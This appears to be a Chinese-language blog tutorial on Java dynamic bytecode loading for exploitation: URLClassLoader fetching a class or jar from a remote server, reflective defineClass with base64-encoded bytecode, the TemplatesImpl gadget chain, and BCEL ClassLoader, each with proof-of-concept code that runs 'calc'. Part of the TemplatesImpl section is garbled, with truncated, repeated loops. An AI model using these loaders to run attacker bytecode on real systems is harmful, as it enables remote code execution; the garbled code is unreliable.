视频教程在我主页简介或专栏里
目录:
动态加载字节码
字节码
加载远程/本地文件
利用defineClass()直接加载字节码
利用TemplatesImpl加载字节码
动态加载字节码
字节码
Java字节码指的是JVM执行使用的一类指令,通常被存储在.class
文件中。
加载远程/本地文件
在前面类加载机制的学习中,正常情况下URLClassLoader是AppClassLoader的父类。
通常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class
文件来加载,这个基础路径有分三种情况:
1、URL未以斜杠/
结尾,则认为是一个Jar文件,使用JarLoader来寻找类,即在Jar包上寻找类。
2、URL以/
结尾,且协议名为file,则使用FileLoader来寻找类,即在本地系统中寻找.class
文件
3、URL以斜杠/
结尾,且协议名不为file,则使用最基础的Loader来寻找类
本地加载 .class 文件
其实都是前面说过的了,主要是加载class文件,所以class文件不能有包名。
Reflection.java内容:
public class Reflection { private String name = "fupanc";
public Reflection(){
System.out.println("调用了Reflection的构造函数");
}
}
Main.java内容;
package java_foundation;
import java.net.URLClassLoader;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://D:\\")});
Class clazz = urlClassLoader.loadClass("Reflection");
clazz.newInstance();
}
}
可以先使用javac将Reflection.java打成Reflection.class然后放在D盘。
我的maven项目是自动编译然后放在项目中的target目录下的,这里直接找就行。
启动成功输出:
调用了Reflection的构造函数
但是我发现可以如下加载:
//这个Reflection类是由包名的package java_foundation;
import java.net.URLClassLoader;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://D:\\")});
Class clazz = urlClassLoader.loadClass("java_foundation.Reflection");
clazz.newInstance();
}
}
以此类推吧,对于class文件也不一定是必须没有包名,加载时加上软件包即可,后面就不补充了。
远程加载 .class 文件
其实都是差不多的,这里试一下远程加载自己vps上的class文件,但感觉应该不行,应该是有什么安全策略的。自己编写一下
package java_foundation;
import java.net.URLClassLoader;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://47.100.223.173/Reflection.class")});
Class clazz = urlClassLoader.loadClass("Reflection");
clazz.newInstance();
}
}
然后将本地的Reflection.java文件删除,再来运行,发现报错如下:
Exception in thread "main" java.lang.ClassNotFoundException: Reflection at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
at java_foundation.Main.main(Main.java:9)
可能是URL路径问题,这是我看了一下前面讲的基础路径,尝试一下用jar包呢,所以我将构建jar包的代码改成如下:
public class MyTest{ public MyTest(){
System.out.println("调用了远程url类的构造函数");
}
}
然后传到服务器上即可,如下尝试:
package java_foundation;
import java.net.URLClassLoader;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://47.100.223.173/jar_build.jar")});
Class clazz = urlClassLoader.loadClass("MyTest");
clazz.newInstance();
}
}
成功调用并输出:
调用了远程url类的构造函数
这样用符合基础路径的格式成功调用了远程的class代码。感觉利用点很大呢。
利用defineClass()直接加载字节码
在之前的调试中,可以知道Java加载都需要经过:
ClassLoader.loadClass -> ClassLoader.findClass -> ClassLoader.defineClass
其中:
1、loadClass的作用是从已经加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下执行findClass
2、findClass的作用就是根据基础URL制定的方式来查找类,读取字节码后交给defineClass
3、defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类
defineClass决定如何将一段字节流转换变成一个Java类,Java默认的ClassLoader.defineClass是一个native方法(C语言实现):
利用方法如下:
利用反射获取defineClass方法
import java.lang.reflect.Method;
public class Main{
public static void main(String[] args){
Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class, int.class, int.class);
method.setAccessible(true);
}
}
此时Text.java内容为:
import java.lang.Runtime;
public class Text{
static{
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
System.out.println("异常退出");
}
}
}
//还是需要注意class文件要没有包名
将其转换为class文件后再转换为base64编码,如下:
package java_foundation;
import java.nio.file.*;
import java.util.Base64;
public class FileToBase64 {
public static void main(String[] args) {
String filePath = "D:\\maven_text\\maven1_text\\target\\test-classes\\Text.class"; // 请替换成你实际的文件路径
try {
byte[] fileBytes = readFileToByteArray(filePath);
String base64Encoded = encodeBase64(fileBytes);
System.out.println("Base64 Encoded Content:");
System.out.println(base64Encoded);
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] readFileToByteArray(String filePath) throws Exception {
return Files.readAllBytes(Paths.get(filePath));
}
public static String encodeBase64(byte[] data) {
return Base64.getEncoder().encodeToString(data);
}
}
//也可以javac编译,然后cat输出是Base64编码一下,就是需要注意idea和javac运行的JDK版本要相同。
再使用base64解码就可以得到完整的字节码了,如下:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKgoACAAbCgAcAB0IAB4KABwAHwcAIAoABQAhBwAiBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAg8Y2xpbml0PgEAAXgBABNMamF2YS9sYW5nL1J1bnRpbWU7AQABeQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAgAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACQAKBwAkDAAlACYBAARjYWxjDAAnACgBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAApAAoBAARUZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAEAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAIEAAgACAAAAFrgAAksSA0wqK7YABFenAAhLKrYABrEAAQAAAA0AEAAFAAMADAAAAB4ABwAAAAcABAAIAAcACQANAAwAEAAKABEACwAVAA0ADQAAACAAAwAEAAkAEQASAAAABwAGABMAFAABABEABAAVABYAAAAXAAAABwACUAcAGAQAAQAZAAAAAgAa");
加载字节码成Class对象,然后实例化拿到一个对象
Class Test = (Class)method.invoke(ClassLoader.getSystemClassLoader(), "Test", code, 0, code.length);Test.newInstance();
//ClassLoader.getSystemClassLoader()返回系统的类加载器对象
这里是因为defineClass()方法是一个实例方法。所以可以需要用一个实例对象即可,所以最终如下输出:
package java_foundation;
import java.lang.ClassLoader;
import java.util.Base64;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMQoACgAZCgAaABsIABwKABoAHQcAHgkAHwAgCAAhCgAiACMHACQHACUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxUZXh0OwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJVGV4dC5qYXZhDAALAAwHACYMACcAKAEABGNhbGMMACkAKgEAE2phdmEvbGFuZy9FeGNlcHRpb24HACsMACwALQEADOW8guW4uOmAgOWHugcALgwALwAwAQAEVGV4dAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAwAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABlAAIAAQAAABa4AAISA7YABFenAAxLsgAGEge2AAixAAEAAAAJAAwABQADAA4AAAAWAAUAAAAGAAkACQAMAAcADQAIABUACgAPAAAADAABAA0ACAATABQAAAAVAAAABwACTAcAFggAAQAXAAAAAgAY");
Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
method.setAccessible(true);
Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(),"Text",code,0,code.length);
clazz.newInstance();
}
}
成功弹出计算机。
使用javac目录的话就需要注意JDK的版本问题,需要一致。
在前面的POC中调用方法时是用的AppClassLoader实例,也是才知道原来这里返回的ClassLoader是一个实例,那么这里为什么这样用呢。大概想一下就可以知道,由于defineClass()方法是一个普通方法,所以当调用invoke()方法时需要一个实例,即需要一个ClassLoader的实例来调用它。这里就是用AppClassLoader类加载器来加载Text类,大概就是这个意思。
————————
同样的可以直接利用IO进行文件读取,如下:
package java_foundation;
import java.lang.ClassLoader;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Text.class"));
Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
method.setAccessible(true);
Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(),"Text",code,0,code.length);
clazz.newInstance();
}
}
同时要想到这里既然可以利用defineClass()
方法直接加载字节码,那么我们在自定义类加载器的时候也要想到这一点,也许就可以直接利用。
在defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行,而且即使我们将初始化代码放在类的static块中,在defineClass
时也无法被直接调用到。所以,如果我们想要使用defineClass
在目标机器上执行任意代码,需要想办法调用构造函数。
一定要注意的是:由于系统的ClassLoader#defineClass
是一个保护属性,所以我们不能直接在外部访问,必须使用反射的形式来调用。
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplateImpl
的基石
利用TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpl
。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类TransletClassLoader
,源代码如下:
static final class TransletClassLoader extends ClassLoader { private final Map _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类继承自ClassLoader类,并且重写了defineClass
方法,是一个静态类,并且这里没有显示地声明其定义域,那么它的作用域就是default,可以被类外部调用。
注意看它的defineClass()方法,和前面说的利用的defineClass调用的方法是一样的,这里可以尝试调用,但是这里是只传入了byte,应该也是可以利用的,本来这个重点应该就是字节码。
那么现在从 TransletClassLoader#defineClass()
向前追溯一下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
那现在来跟一下这个调用链,从后往前。
我们看TemplatesImpl#defineTransletClasses()
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {//注意这里
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap();
}
for (int i = 0; i 1) {
_auxClasses = new HashMap();
}
for (int i = 0; i 1) {
_auxClasses = new HashMap();
}
for (int i = 0; i = 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);//这里调用了defineClass方法
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
其中调用的是defineClass()方法
if(clazz != null) { byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);//这里调用了defineClass方法
}
看代码,这里就需要需要BCEL字节码的开头为BCEL
,用createClass方法获取类的Class对象从而可以赋值给clazz。
if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name);
简单梳理一下过程,首先就是设置cl为null
然后在下面这个条件语句判断开头有没有这个东西,如果有,就使用createClass()方法来对象并赋值给clazz,具体实现可以自己去看源代码(在createClass方法内就已经将BCEL形式的字节码转换成JavaClass对象了)
此时clazz不为null,那么就会进入到下面这个语句
image-
这里就会调用到defeineClass()方法了,再在这里面得到类的Class字节码,最终获得类对象cl并return了回去。
流程已经基本清楚,那么如何利用呢,如下:
在BCEL中,它提供了Utility和Repository类
其中Repository提供了lookupClass方法用于加载一个类
Utility类提供了一个encode方法用于将JavaClass对象转换成BCEL形式的字节码
String code = Utility.encode(clazz.getBytes(), true);
再用BCEL ClassLoader进行加载
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();//这里就是简单的实例化对象后的对一个函数的调用
整合一下,我们可以这样利用
编写恶意类:
//Test.javapublic class Test{
static {
Runtime.getRuntime().exec("calc");
}
}
POC:
import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Main {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(Test.class);
String code = Utility.encode(clazz.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
成功弹出计算机:
代码为什么要这样构造其实已经比较清楚了,可以自己想想流程来对比一下。
还有的就是这里JDK7运行需要改idea的配置
视频教程在我主页简介或专栏里
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关